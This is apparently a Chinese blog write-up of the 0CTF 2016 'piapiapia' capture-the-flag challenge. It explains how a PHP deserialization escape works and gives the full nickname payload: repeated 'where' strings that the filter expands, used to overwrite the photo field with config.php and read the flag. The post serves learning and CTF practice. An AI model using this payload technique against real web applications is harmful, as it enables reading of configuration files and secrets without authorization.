【Web】PHP 反序列化


[0CTF 2016]piapiapia(反序列化逃逸)

以为是sql注入,试了半天都没反应

常规登录是登不了的,显示无效的账号或密码,但是也没给登录框

这时候,就试试看在url里面输入看看

在随便注册登录后,会提示你完善信息,此时出现文件上传窗口

完善后也没有什么特殊的地方,既然有文件上传,那就扫描后台

扫出来一堆429,设个延迟比较好,但是还是扫出了:www.zip(一般情况下源码会在这里,扫描的时候也可以选择专门扫zip)

index.php 和 register.php 里面没有有价值的东西,config.php 里面是flag

profile.php 中有对 $profile 反序列化

既然使用了 file_get_contents() 函数,那么如果把 $profile['photo'] 替换成 config.php 就能读到flag

对 profile 使用了 show_profile,在class.php里面找

找 filter

利用正则表达式会把一些函数换成 hacker,对大小写不敏感

于是,方法就是 反序列化逃逸

反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃

因为 profile 整个结构就是数组,所以反序列化时是以 a 开始而不是 O

nickname有正则表达式过滤,但是如果nickname变成了数组,则过滤就不起作用,成功绕过

原始序列化是这样:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/3fcc69yb9b3fc536710fa08b6817z42b";}

现在需要做的是:

通过反序列化逃逸,使 photo 的值为 config.php,掐断序列化,丢弃 upload 的那一段

利用数组绕过 nickname 的过滤,把 photo 那段写进 nickname 数组中

闭合 nickname 数组,把 photo 挤到正确的位置

需要写入的反序列化片段是:

;}s:5:“photo”;s:10:“config.php”;}

共计34个字符

由于过滤的时候有个 where 被换成 hacker,导致5个字符变成了6个

那么写34个 where 就能在序列化的时候腾出34个字符

204 = 5*34 + 34

s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";}

此时的 "34*where";}s:5:"photo";s:10:"config.php" 是作为 nickname 存在的

当序列化后

s:8:"nickname";a:1:{i:0;s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}

由于204字符被占满,自然 s:5:"photo";s:10:"config.php" 就不再是 nickname 里面的东西

因此 payload 就是:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

抓包,修改 nickname,写入 payload

由于是写在 photo 里面的,需要在开发者模式找图片的base64编码

解密就行

PHP 序列化格式详解

PHP file_get_contents() 函数

PHP preg_replace() 函数

PHP implode() 函数

posted @ 2021-07-23 00:20  Arctic_Maple  阅读(87)  评论(0)    收藏  举报